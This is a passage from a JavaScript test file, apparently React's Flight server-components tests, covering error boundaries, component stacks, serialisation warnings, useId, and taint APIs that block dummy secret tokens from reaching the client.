'properties',\n              nested: {more: 'prop'},\n            }}\n          />\n        </ClientErrorBoundary>\n        <ClientErrorBoundary expectedMessage=\"Symbol(hello)\">\n          <Throw value={Symbol('hello')} />\n        </ClientErrorBoundary>\n        <ClientErrorBoundary expectedMessage=\"123\">\n          <Throw value={123} />\n        </ClientErrorBoundary>\n        <ClientErrorBoundary expectedMessage=\"undefined\">\n          <Throw value={undefined} />\n        </ClientErrorBoundary>\n        <ClientErrorBoundary expectedMessage=\"<div/>\">\n          <Throw value={<div />} />\n        </ClientErrorBoundary>\n        <ClientErrorBoundary expectedMessage=\"function Foo() {}\">\n          <Throw value={function Foo() {}} />\n        </ClientErrorBoundary>\n        <ClientErrorBoundary expectedMessage={'[\"array\"]'}>\n          <Throw value={['array']} />\n        </ClientErrorBoundary>\n        <ClientErrorBoundary\n          expectedMessage={\n            'A React Element from an older version of React was rendered. ' +\n            'This is not supported. It can happen if:\\n' +\n            '- Multiple copies of the \"react\" package is used.\\n' +\n            '- A library pre-bundled an old copy of \"react\" or \"react/jsx-runtime\".\\n' +\n            '- A compiler tries to \"inline\" JSX instead of using the runtime.'\n          }>\n          <LazyInlined />\n        </ClientErrorBoundary>\n      </>\n    );\n\n    const transport = ReactNoopFlightServer.render(testCases, {\n      onError(x) {\n        if (__DEV__) {\n          return 'a dev digest';\n        }\n        if (x instanceof Error) {\n          return `digest(\"${x.message}\")`;\n        } else if (Array.isArray(x)) {\n          return `digest([])`;\n        } else if (typeof x === 'object' && x !== null) {\n          return `digest({})`;\n        }\n        return `digest(${String(x)})`;\n      },\n    });\n\n    await act(() => {\n      startTransition(() => {\n        ReactNoop.render(ReactNoopFlightClient.read(transport));\n      });\n    });\n  });\n\n  it('should include server components in error boundary stacks in dev', async () => {\n    const ClientErrorBoundary = clientReference(ErrorBoundary);\n\n    function Throw({value}) {\n      throw value;\n    }\n\n    const expectedStack = __DEV__\n      ? '\\n    in Throw' +\n        '\\n    in div' +\n        '\\n    in ErrorBoundary (at **)' +\n        '\\n    in App'\n      : '\\n    in div' + '\\n    in ErrorBoundary (at **)';\n\n    function App() {\n      return (\n        <ClientErrorBoundary\n          expectedMessage=\"This is a real Error.\"\n          expectedStack={expectedStack}>\n          <div>\n            <Throw value={new TypeError('This is a real Error.')} />\n          </div>\n        </ClientErrorBoundary>\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(<App />, {\n      onError(x) {\n        if (__DEV__) {\n          return 'a dev digest';\n        }\n        if (x instanceof Error) {\n          return `digest(\"${x.message}\")`;\n        } else if (Array.isArray(x)) {\n          return `digest([])`;\n        } else if (typeof x === 'object' && x !== null) {\n          return `digest({})`;\n        }\n        return `digest(${String(x)})`;\n      },\n    });\n\n    await act(() => {\n      startTransition(() => {\n        ReactNoop.render(ReactNoopFlightClient.read(transport));\n      });\n    });\n  });\n\n  it('should handle serialization errors in element inside error boundary', async () => {\n    const ClientErrorBoundary = clientReference(ErrorBoundary);\n\n    const expectedStack = __DEV__\n      ? '\\n    in div' + '\\n    in ErrorBoundary (at **)' + '\\n    in App'\n      : '\\n    in ErrorBoundary (at **)';\n\n    function App() {\n      return (\n        <ClientErrorBoundary\n          expectedMessage=\"Event handlers cannot be passed to Client Component props.\"\n          expectedStack={expectedStack}>\n          <div onClick={function () {}} />\n        </ClientErrorBoundary>\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(<App />, {\n      onError(x) {\n        if (__DEV__) {\n          return 'a dev digest';\n        }\n        if (x instanceof Error) {\n          return `digest(\"${x.message}\")`;\n        } else if (Array.isArray(x)) {\n          return `digest([])`;\n        } else if (typeof x === 'object' && x !== null) {\n          return `digest({})`;\n        }\n        return `digest(${String(x)})`;\n      },\n    });\n\n    await act(() => {\n      startTransition(() => {\n        ReactNoop.render(ReactNoopFlightClient.read(transport));\n      });\n    });\n  });\n\n  it('should handle exotic stack frames', async () => {\n    function ServerComponent() {\n      const error = new Error('This is an error');\n      const originalStackLines = error.stack.split('\\n');\n      // Fake a stack\n      error.stack = [\n        originalStackLines[0],\n        // original\n        // '    at ServerComponentError (file://~/react/packages/react-client/src/__tests__/ReactFlight-test.js:1166:19)',\n        // nested eval (https://github.com/ChromeDevTools/devtools-frontend/blob/831be28facb4e85de5ee8c1acc4d98dfeda7a73b/test/unittests/front_end/panels/console/ErrorStackParser_test.ts#L198)\n        '    at eval (eval at testFunction (inspected-page.html:29:11), <anonymous>:1:10)',\n        // parens may be added by Webpack when bundle layers are used. They're also valid in directory names.\n        '    at ServerComponentError (file://~/(some)(really)(exotic-directory)/ReactFlight-test.js:1166:19)',\n        // anon function (https://github.com/ChromeDevTools/devtools-frontend/blob/831be28facb4e85de5ee8c1acc4d98dfeda7a73b/test/unittests/front_end/panels/console/ErrorStackParser_test.ts#L115C9-L115C35)\n        '    at file:///testing.js:42:3',\n        // async anon function (https://github.com/ChromeDevTools/devtools-frontend/blob/831be28facb4e85de5ee8c1acc4d98dfeda7a73b/test/unittests/front_end/panels/console/ErrorStackParser_test.ts#L130C9-L130C41)\n        '    at async file:///testing.js:42:3',\n        // third-party RSC frame\n        // Ideally this would be a real frame produced by React not a mocked one.\n        '    at ThirdParty (about://React/ThirdParty/file:///code/%5Broot%2520of%2520the%2520server%5D.js?42:1:1)',\n        // We'll later filter this out based on line/column in `filterStackFrame`.\n        '    at ThirdPartyModule (file:///file-with-index-source-map.js:52656:16374)',\n        // host component in parent stack\n        '    at div (<anonymous>)',\n        ...originalStackLines.slice(2),\n      ].join('\\n');\n      throw error;\n    }\n\n    const findSourceMapURL = jest.fn(() => null);\n    const errors = [];\n    class MyErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      componentDidCatch(error, componentInfo) {\n        errors.push(error);\n      }\n      render() {\n        if (this.state.error) {\n          return null;\n        }\n        return this.props.children;\n      }\n    }\n    const ClientErrorBoundary = clientReference(MyErrorBoundary);\n\n    function App() {\n      return ReactServer.createElement(\n        ClientErrorBoundary,\n        null,\n        ReactServer.createElement(ServerComponent),\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(<App />, {\n      onError(x) {\n        if (__DEV__) {\n          return 'a dev digest';\n        }\n        if (x instanceof Error) {\n          return `digest(\"${x.message}\")`;\n        } else if (Array.isArray(x)) {\n          return `digest([])`;\n        } else if (typeof x === 'object' && x !== null) {\n          return `digest({})`;\n        }\n        return `digest(${String(x)})`;\n      },\n      filterStackFrame(filename, functionName, lineNumber, columnNumber) {\n        if (lineNumber === 52656 && columnNumber === 16374) {\n          return false;\n        }\n        if (!filename) {\n          // Allow anonymous\n          return functionName === 'div';\n        }\n        return (\n          !filename.startsWith('node:') &&\n          !filename.includes('node_modules') &&\n          // sourceURL from an ES module in `/code/[root of the server].js`\n          filename !== 'file:///code/[root%20of%20the%20server].js'\n        );\n      },\n    });\n\n    await act(() => {\n      startTransition(() => {\n        ReactNoop.render(\n          ReactNoopFlightClient.read(transport, {findSourceMapURL}),\n        );\n      });\n    });\n\n    if (__DEV__) {\n      expect({\n        errors: errors.map(getErrorForJestMatcher),\n        findSourceMapURLCalls: findSourceMapURL.mock.calls,\n      }).toEqual({\n        errors: [\n          {\n            message: 'This is an error',\n            name: 'Error',\n            stack: expect.stringContaining(\n              'Error: This is an error\\n' +\n                '    at eval (eval at testFunction (inspected-page.html:29:11),%20%3Canonymous%3E:1:35)\\n' +\n                '    at ServerComponentError (file://~/(some)(really)(exotic-directory)/ReactFlight-test.js:1166:19)\\n' +\n                '    at <anonymous> (file:///testing.js:42:3)\\n' +\n                '    at <anonymous> (file:///testing.js:42:3)\\n' +\n                '    at div (<anonymous>',\n            ),\n            digest: 'a dev digest',\n            environmentName: 'Server',\n          },\n        ],\n        findSourceMapURLCalls: expect.arrayContaining([\n          // TODO: What should we request here? The outer (<anonymous>) or the inner (inspected-page.html)?\n          ['inspected-page.html:29:11), <anonymous>', 'Server'],\n          [\n            'file://~/(some)(really)(exotic-directory)/ReactFlight-test.js',\n            'Server',\n          ],\n          ['file:///testing.js', 'Server'],\n          ['', 'Server'],\n        ]),\n      });\n    } else {\n      expect(errors.map(getErrorForJestMatcher)).toEqual([\n        {\n          message:\n            'An error occurred in the Server Components render. The specific message is omitted in production' +\n            ' builds to avoid leaking sensitive details. A digest property is included on this error instance which' +\n            ' may provide additional details about the nature of the error.',\n          stack:\n            'Error: An error occurred in the Server Components render. The specific message is omitted in production' +\n            ' builds to avoid leaking sensitive details. A digest property is included on this error instance which' +\n            ' may provide additional details about the nature of the error.',\n          digest: 'digest(\"This is an error\")',\n        },\n      ]);\n    }\n  });\n\n  it('should include server components in warning stacks', async () => {\n    function Component() {\n      // Trigger key warning\n      return <div>{[<span />]}</div>;\n    }\n    const ClientComponent = clientReference(Component);\n\n    function Indirection({children}) {\n      return children;\n    }\n\n    function App() {\n      // We use the ReactServer runtime here to get the Server owner.\n      return ReactServer.createElement(\n        Indirection,\n        null,\n        ReactServer.createElement(ClientComponent),\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(<App />);\n\n    await act(() => {\n      startTransition(() => {\n        ReactNoop.render(ReactNoopFlightClient.read(transport));\n      });\n    });\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n' +\n        '\\n' +\n        'Check the render method of `Component`. See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in span (at **)\\n' +\n        '    in Component (at **)\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  it('should trigger the inner most error boundary inside a Client Component', async () => {\n    function ServerComponent() {\n      throw new Error('This was thrown in the Server Component.');\n    }\n\n    function ClientComponent({children}) {\n      // This should catch the error thrown by the Server Component, even though it has already happened.\n      // We currently need to wrap it in a div because as it's set up right now, a lazy reference will\n      // throw during reconciliation which will trigger the parent of the error boundary.\n      // This is similar to how these will suspend the parent if it's a direct child of a Suspense boundary.\n      // That's a bug.\n      return (\n        <ErrorBoundary expectedMessage=\"This was thrown in the Server Component.\">\n          <div>{children}</div>\n        </ErrorBoundary>\n      );\n    }\n\n    const ClientComponentReference = clientReference(ClientComponent);\n\n    function Server() {\n      return (\n        <ClientComponentReference>\n          <ServerComponent />\n        </ClientComponentReference>\n      );\n    }\n\n    const data = ReactNoopFlightServer.render(<Server />, {\n      onError(x) {\n        // ignore\n      },\n    });\n\n    function Client({promise}) {\n      return use(promise);\n    }\n\n    await act(() => {\n      startTransition(() => {\n        ReactNoop.render(\n          <NoErrorExpected>\n            <Client promise={ReactNoopFlightClient.read(data)} />\n          </NoErrorExpected>,\n        );\n      });\n    });\n  });\n\n  it('should warn in DEV if a toJSON instance is passed to a host component', () => {\n    const obj = {\n      toJSON() {\n        return 123;\n      },\n    };\n    const transport = ReactNoopFlightServer.render(<input value={obj} />);\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Objects with toJSON methods are not supported. ' +\n        'Convert it manually to a simple value before passing it to props.\\n' +\n        '  <input value={{toJSON: ...}}>\\n' +\n        '               ^^^^^^^^^^^^^^^',\n    ]);\n\n    ReactNoopFlightClient.read(transport);\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Objects with toJSON methods are not supported. ' +\n        'Convert it manually to a simple value before passing it to props.\\n' +\n        '  <input value={{toJSON: ...}}>\\n' +\n        '               ^^^^^^^^^^^^^^^\\n' +\n        '    at  (<anonymous>)',\n    ]);\n  });\n\n  it('should warn in DEV if a toJSON instance is passed to a host component child', () => {\n    class MyError extends Error {\n      toJSON() {\n        return 123;\n      }\n    }\n    const transport = ReactNoopFlightServer.render(\n      <div>Womp womp: {new MyError('spaghetti')}</div>,\n    );\n    assertConsoleErrorDev([\n      'Error objects cannot be rendered as text children. Try formatting it using toString().\\n' +\n        '  <div>Womp womp: {Error}</div>\\n' +\n        '                  ^^^^^^^',\n    ]);\n\n    ReactNoopFlightClient.read(transport);\n    assertConsoleErrorDev([\n      'Error objects cannot be rendered as text children. Try formatting it using toString().\\n' +\n        '  <div>Womp womp: {Error}</div>\\n' +\n        '                  ^^^^^^^\\n' +\n        '    at  (<anonymous>)',\n    ]);\n  });\n\n  it('should warn in DEV if a special object is passed to a host component', () => {\n    const transport = ReactNoopFlightServer.render(<input value={Math} />);\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Math objects are not supported.\\n' +\n        '  <input value={Math}>\\n' +\n        '               ^^^^^^',\n    ]);\n\n    ReactNoopFlightClient.read(transport);\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Math objects are not supported.\\n' +\n        '  <input value={Math}>\\n' +\n        '               ^^^^^^\\n' +\n        '    at  (<anonymous>)',\n    ]);\n  });\n\n  it('should warn in DEV if an object with symbols is passed to a host component', () => {\n    const transport = ReactNoopFlightServer.render(\n      <input value={{[Symbol.iterator]: {}}} />,\n    );\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Objects with symbol properties like Symbol.iterator are not supported.\\n' +\n        '  <input value={{}}>\\n' +\n        '               ^^^^',\n    ]);\n\n    ReactNoopFlightClient.read(transport);\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Objects with symbol properties like Symbol.iterator are not supported.\\n' +\n        '  <input value={{}}>\\n' +\n        '               ^^^^\\n' +\n        '    at  (<anonymous>)',\n    ]);\n  });\n\n  it('should warn in DEV if a toJSON instance is passed to a Client Component', () => {\n    const obj = {\n      toJSON() {\n        return 123;\n      },\n    };\n    function ClientImpl({value}) {\n      return <div>{value}</div>;\n    }\n    const Client = clientReference(ClientImpl);\n    const transport = ReactNoopFlightServer.render(<Client value={obj} />);\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Objects with toJSON methods are not supported. ' +\n        'Convert it manually to a simple value before passing it to props.\\n' +\n        '  <... value={{toJSON: ...}}>\\n' +\n        '             ^^^^^^^^^^^^^^^',\n    ]);\n\n    ReactNoopFlightClient.read(transport);\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Objects with toJSON methods are not supported. ' +\n        'Convert it manually to a simple value before passing it to props.\\n' +\n        '  <... value={{toJSON: ...}}>\\n' +\n        '             ^^^^^^^^^^^^^^^\\n' +\n        '    at  (<anonymous>)',\n    ]);\n  });\n\n  it('should warn in DEV if a toJSON instance is passed to a Client Component child', () => {\n    const obj = {\n      toJSON() {\n        return 123;\n      },\n    };\n    function ClientImpl({children}) {\n      return <div>{children}</div>;\n    }\n    const Client = clientReference(ClientImpl);\n    const transport = ReactNoopFlightServer.render(\n      <Client>Current date: {obj}</Client>,\n    );\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Objects with toJSON methods are not supported. ' +\n        'Convert it manually to a simple value before passing it to props.\\n' +\n        '  <>Current date: {{toJSON: ...}}</>\\n' +\n        '                  ^^^^^^^^^^^^^^^',\n    ]);\n\n    ReactNoopFlightClient.read(transport);\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Objects with toJSON methods are not supported. ' +\n        'Convert it manually to a simple value before passing it to props.\\n' +\n        '  <>Current date: {{toJSON: ...}}</>\\n' +\n        '                  ^^^^^^^^^^^^^^^\\n' +\n        '    at  (<anonymous>)',\n    ]);\n  });\n\n  it('should warn in DEV if a special object is passed to a Client Component', () => {\n    function ClientImpl({value}) {\n      return <div>{value}</div>;\n    }\n    const Client = clientReference(ClientImpl);\n    const transport = ReactNoopFlightServer.render(<Client value={Math} />);\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Math objects are not supported.\\n' +\n        '  <... value={Math}>\\n' +\n        '             ^^^^^^',\n    ]);\n\n    ReactNoopFlightClient.read(transport);\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Math objects are not supported.\\n' +\n        '  <... value={Math}>\\n' +\n        '             ^^^^^^\\n' +\n        '    at  (<anonymous>)',\n    ]);\n  });\n\n  it('should warn in DEV if an object with symbols is passed to a Client Component', () => {\n    function ClientImpl({value}) {\n      return <div>{value}</div>;\n    }\n    const Client = clientReference(ClientImpl);\n    assertConsoleErrorDev([]);\n    const transport = ReactNoopFlightServer.render(\n      <Client value={{[Symbol.iterator]: {}}} />,\n    );\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Objects with symbol properties like Symbol.iterator are not supported.\\n' +\n        '  <... value={{}}>\\n' +\n        '             ^^^^',\n    ]);\n\n    ReactNoopFlightClient.read(transport);\n\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Objects with symbol properties like Symbol.iterator are not supported.\\n' +\n        '  <... value={{}}>\\n' +\n        '             ^^^^\\n' +\n        '    in  (at **)',\n    ]);\n  });\n\n  it('should warn in DEV if a special object is passed to a nested object in Client Component', () => {\n    function ClientImpl({value}) {\n      return <div>{value}</div>;\n    }\n    const Client = clientReference(ClientImpl);\n    const transport = ReactNoopFlightServer.render(\n      <Client value={{[Symbol.iterator]: {}}} />,\n    );\n    ReactNoopFlightClient.read(transport);\n\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Objects with symbol properties like Symbol.iterator are not supported.\\n' +\n        '  <... value={{}}>\\n' +\n        '             ^^^^',\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Objects with symbol properties like Symbol.iterator are not supported.\\n' +\n        '  <... value={{}}>\\n' +\n        '             ^^^^\\n' +\n        '    at  (<anonymous>)',\n    ]);\n  });\n\n  it('should warn in DEV if a special object is passed to a nested array in Client Component', () => {\n    function ClientImpl({value}) {\n      return <div>{value}</div>;\n    }\n    const Client = clientReference(ClientImpl);\n    const transport = ReactNoopFlightServer.render(\n      <Client value={['looooong string takes up noise', Math, <h1>hi</h1>]} />,\n    );\n    ReactNoopFlightClient.read(transport);\n    assertConsoleErrorDev([\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Math objects are not supported.\\n' +\n        '  [..., Math, <h1/>]\\n' +\n        '        ^^^^',\n      'Only plain objects can be passed to Client Components from Server Components. ' +\n        'Math objects are not supported.\\n' +\n        '  [..., Math, <h1/>]\\n' +\n        '        ^^^^\\n' +\n        '    at  (<anonymous>)',\n    ]);\n  });\n\n  it('should NOT warn in DEV for key getters', () => {\n    const transport = ReactNoopFlightServer.render(<div key=\"a\" />);\n    ReactNoopFlightClient.read(transport);\n  });\n\n  it('should warn in DEV a child is missing keys on server component', () => {\n    function NoKey({children}) {\n      return ReactServer.createElement('div', {\n        key: \"this has a key but parent doesn't\",\n      });\n    }\n    // While we're on the server we need to have the Server version active to track component stacks.\n    jest.resetModules();\n    jest.mock('react', () => ReactServer);\n    const transport = ReactNoopFlightServer.render(\n      ReactServer.createElement(\n        'div',\n        null,\n        Array(6).fill(ReactServer.createElement(NoKey)),\n      ),\n    );\n    jest.resetModules();\n    jest.mock('react', () => React);\n    ReactNoopFlightClient.read(transport);\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in NoKey (at **)',\n      'Each child in a list should have a unique \"key\" prop. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in NoKey (at **)',\n    ]);\n  });\n\n  it('should warn in DEV a child is missing keys on a fragment', () => {\n    // While we're on the server we need to have the Server version active to track component stacks.\n    jest.resetModules();\n    jest.mock('react', () => ReactServer);\n    const transport = ReactNoopFlightServer.render(\n      ReactServer.createElement(\n        'div',\n        null,\n        Array(6).fill(ReactServer.createElement(ReactServer.Fragment)),\n      ),\n    );\n    jest.resetModules();\n    jest.mock('react', () => React);\n    ReactNoopFlightClient.read(transport);\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in Fragment (at **)',\n      'Each child in a list should have a unique \"key\" prop. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in Fragment (at **)',\n    ]);\n  });\n\n  it('should warn in DEV a child is missing keys in client component', async () => {\n    function ParentClient({children}) {\n      return children;\n    }\n\n    await act(async () => {\n      const Parent = clientReference(ParentClient);\n      const transport = ReactNoopFlightServer.render(\n        <Parent>{Array(6).fill(<div>no key</div>)}</Parent>,\n      );\n      ReactNoopFlightClient.read(transport);\n\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n\\n' +\n        'Check the top-level render call using <ParentClient>. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in div (at **)',\n    ]);\n  });\n\n  it('should error if a class instance is passed to a host component', () => {\n    class Foo {\n      method() {}\n    }\n    const errors = [];\n    ReactNoopFlightServer.render(<input value={new Foo()} />, {\n      onError(x) {\n        errors.push(x.message);\n      },\n    });\n\n    expect(errors).toEqual([\n      'Only plain objects, and a few built-ins, can be passed to Client Components ' +\n        'from Server Components. Classes or null prototypes are not supported.' +\n        (__DEV__\n          ? '\\n' + '  <input value={{}}>\\n' + '               ^^^^'\n          : '\\n' + '  {value: {}}\\n' + '          ^^'),\n    ]);\n  });\n\n  it('should error if useContext is called()', () => {\n    function ServerComponent() {\n      return ReactServer.useContext();\n    }\n    const errors = [];\n    ReactNoopFlightServer.render(<ServerComponent />, {\n      onError(x) {\n        errors.push(x.message);\n      },\n    });\n    expect(errors).toEqual(['ReactServer.useContext is not a function']);\n  });\n\n  it('should error if a context without a client reference is passed to use()', () => {\n    const Context = React.createContext();\n    function ServerComponent() {\n      return ReactServer.use(Context);\n    }\n    const errors = [];\n    ReactNoopFlightServer.render(<ServerComponent />, {\n      onError(x) {\n        errors.push(x.message);\n      },\n    });\n    expect(errors).toEqual([\n      'Cannot read a Client Context from a Server Component.',\n    ]);\n  });\n\n  it('should error if a client reference is passed to use()', () => {\n    const Context = React.createContext();\n    const ClientContext = clientReference(Context);\n    function ServerComponent() {\n      return ReactServer.use(ClientContext);\n    }\n    const errors = [];\n    ReactNoopFlightServer.render(<ServerComponent />, {\n      onError(x) {\n        errors.push(x.message);\n      },\n    });\n    expect(errors).toEqual([\n      'Cannot read a Client Context from a Server Component.',\n    ]);\n  });\n\n  describe('Hooks', () => {\n    function DivWithId({children}) {\n      const id = ReactServer.useId();\n      return <div prop={id}>{children}</div>;\n    }\n\n    it('should support useId', async () => {\n      function App() {\n        return (\n          <>\n            <DivWithId />\n            <DivWithId />\n          </>\n        );\n      }\n\n      const transport = ReactNoopFlightServer.render(<App />);\n      await act(async () => {\n        ReactNoop.render(await ReactNoopFlightClient.read(transport));\n      });\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <div prop=\"_S_1_\" />\n          <div prop=\"_S_2_\" />\n        </>,\n      );\n    });\n\n    it('accepts an identifier prefix that prefixes generated ids', async () => {\n      function App() {\n        return (\n          <>\n            <DivWithId />\n            <DivWithId />\n          </>\n        );\n      }\n\n      const transport = ReactNoopFlightServer.render(<App />, {\n        identifierPrefix: 'foo',\n      });\n      await act(async () => {\n        ReactNoop.render(await ReactNoopFlightClient.read(transport));\n      });\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <div prop=\"_fooS_1_\" />\n          <div prop=\"_fooS_2_\" />\n        </>,\n      );\n    });\n\n    it('[TODO] it does not warn if you render a server element passed to a client module reference twice on the client when using useId', async () => {\n      // @TODO Today if you render a Server Component with useId and pass it to a Client Component and that Client Component renders the element in two or more\n      // places the id used on the server will be duplicated in the client. This is a deviation from the guarantees useId makes for Fizz/Client and is a consequence\n      // of the fact that the Server Component is actually rendered on the server and is reduced to a set of host elements before being passed to the Client component\n      // so the output passed to the Client has no knowledge of the useId use. In the future we would like to add a DEV warning when this happens. For now\n      // we just accept that it is a nuance of useId in Flight\n      function App() {\n        const id = ReactServer.useId();\n        const div = <div prop={id}>{id}</div>;\n        return <ClientDoublerModuleRef el={div} />;\n      }\n\n      function ClientDoubler({el}) {\n        Scheduler.log('ClientDoubler');\n        return (\n          <>\n            {el}\n            {el}\n          </>\n        );\n      }\n\n      const ClientDoublerModuleRef = clientReference(ClientDoubler);\n\n      const transport = ReactNoopFlightServer.render(<App />);\n      assertLog([]);\n\n      await act(async () => {\n        ReactNoop.render(await ReactNoopFlightClient.read(transport));\n      });\n\n      assertLog(['ClientDoubler']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <div prop=\"_S_1_\">_S_1_</div>\n          <div prop=\"_S_1_\">_S_1_</div>\n        </>,\n      );\n    });\n  });\n\n  // @gate enableTaint\n  it('errors when a tainted object is serialized', async () => {\n    function UserClient({user}) {\n      return <span>{user.name}</span>;\n    }\n    const User = clientReference(UserClient);\n\n    const user = {\n      name: 'Seb',\n      age: 'rather not say',\n    };\n    ReactServer.experimental_taintObjectReference(\n      \"Don't pass the raw user object to the client\",\n      user,\n    );\n    const errors = [];\n    ReactNoopFlightServer.render(<User user={user} />, {\n      onError(x) {\n        errors.push(x.message);\n      },\n    });\n\n    expect(errors).toEqual([\"Don't pass the raw user object to the client\"]);\n  });\n\n  // @gate enableTaint\n  it('errors with a specific message when a tainted function is serialized', async () => {\n    function UserClient({user}) {\n      return <span>{user.name}</span>;\n    }\n    const User = clientReference(UserClient);\n\n    function change() {}\n    ReactServer.experimental_taintObjectReference(\n      'A change handler cannot be passed to a client component',\n      change,\n    );\n    const errors = [];\n    ReactNoopFlightServer.render(<User onChange={change} />, {\n      onError(x) {\n        errors.push(x.message);\n      },\n    });\n\n    expect(errors).toEqual([\n      'A change handler cannot be passed to a client component',\n    ]);\n  });\n\n  // @gate enableTaint\n  it('errors when a tainted string is serialized', async () => {\n    function UserClient({user}) {\n      return <span>{user.name}</span>;\n    }\n    const User = clientReference(UserClient);\n\n    const process = {\n      env: {\n        SECRET: '3e971ecc1485fe78625598bf9b6f85db',\n      },\n    };\n    ReactServer.experimental_taintUniqueValue(\n      'Cannot pass a secret token to the client',\n      process,\n      process.env.SECRET,\n    );\n\n    const errors = [];\n    ReactNoopFlightServer.render(<User token={process.env.SECRET} />, {\n      onError(x) {\n        errors.push(x.message);\n      },\n    });\n\n    expect(errors).toEqual(['Cannot pass a secret token to the client']);\n\n    // This just ensures the process object is kept alive for the life time of\n    // the test since we're simulating a global as an example.\n    expect(process.env.SECRET).toBe('3e971ecc1485fe78625598bf9b6f85db');\n  });\n\n  // @gate enableTaint\n  it('errors when a tainted bigint is serialized', async () => {\n    function UserClient({user}) {\n      return <span>{user.name}</span>;\n    }\n    const User = clientReference(UserClient);\n\n    const currentUser = {\n      name: 'Seb',\n      token: BigInt('0x3e971ecc1485fe78625598bf9b6f85dc'),\n    };\n    ReactServer.experimental_taintUniqueValue(\n      'Cannot pass a secret token to the client',\n      currentUser,\n      currentUser.token,\n    );\n\n    function App({user}) {\n      return <User token={user.token} />;\n    }\n\n    const errors = [];\n    ReactNoopFlightServer.render(<App user={currentUser} />, {\n      onError(x) {\n        errors.push(x.message);\n      },\n    });\n\n    expect(errors).toEqual(['Cannot pass a secret token to the client']);\n  });\n\n  // @gate enableTaint\n  it('errors when a tainted binary value is serialized', async () => {\n    function UserClient({user}) {\n      return <span>{user.name}</span>;\n    }\n    const User = clientReference(UserClient);\n\n    const currentUser = {\n      name: 'Seb',\n      token: new Uint32Array([0x3e971ecc, 0x1485fe78, 0x625598bf, 0x9b6f85dd]),\n    };\n    ReactServer.experimental_taintUniqueValue(\n      'Cannot pass a secret token to the client',\n      currentUser,\n      currentUser.token,\n    );\n\n    function App({user}) {\n      const clone = user.token.slice();\n      return <User token={clone} />;\n    }\n\n    const errors = [];\n    ReactNoopFlightServer.render(<App user={currentUser} />, {\n      onError(x) {\n        errors.push(x.message);\n      },\n    });\n\n    expect(errors).toEqual(['Cannot pass a secret token to the client']);\n  });\n\n  // @gate enableTaint\n  it('keep a tainted value tainted until the end of any pending requests', async () => {\n    function UserClient({user}) {\n      return <span>{user.name}</span>;\n    }\n    const User = clientReference(UserClient);\n\n    function getUser() {\n      const user = {\n        name: 'Seb',\n        token: '3e971ecc1485fe78625598bf9b6f85db',\n      };\n      ReactServer.experimental_taintUniqueValue(\n        'Cannot pass a secret token to the client',\n        user,\n        user.token,\n      );\n      return user;\n    }\n\n    function App() {\n      const user = getUser();\n      const derivedValue = {...user};\n      // A garbage collection can happen at any time. Even before the end of\n      // this request. This would clean up the user object.\n      gc();\n      // We should still block the tainted value.\n      return <User user={derivedValue} />;\n    }\n\n    let errors = [];\n    ReactNoopFlightServer.render(<App />, {\n      onError(x) {\n        errors.push(x.message);\n      },\n    });\n\n    expect(errors).toEqual(['Cannot pass a secret token to the client']);\n\n    // After the previous requests finishes, the token can be rendered again.\n\n    errors = [];\n    ReactNoopFlightServer.render(\n      <User user={{token: '3e971ecc1485fe78625598bf9b6f85db'}} />,\n      {\n        onError(x) {\n          errors.push(x.message);\n        },\n      },\n    );\n\n    expect(errors).toEqual([]);\n  });\n\n  it('preserves state when keying a server component', async () => {\n    function StatefulClient({name}) {\n      const [state] = React.useState(name.toLowerCase());\n      return state;\n    }\n    const Stateful = clientReference(StatefulClient);\n\n    function Item({item}) {\n      return (\n        <div>\n          {item}\n          <Stateful name={item} />\n        </div>\n      );\n    }\n\n    function Items({items}) {\n      return items.map(item => {\n        return <Item key={item} item={item} />;\n      });\n    }\n\n    const transport = ReactNoopFlightServer.render(\n      <Items items={['A', 'B', 'C']} />,\n    );\n\n    await act(async () => {\n      ReactNoop.render(await ReactNoopFlightClient.read(transport));\n    });\n\n    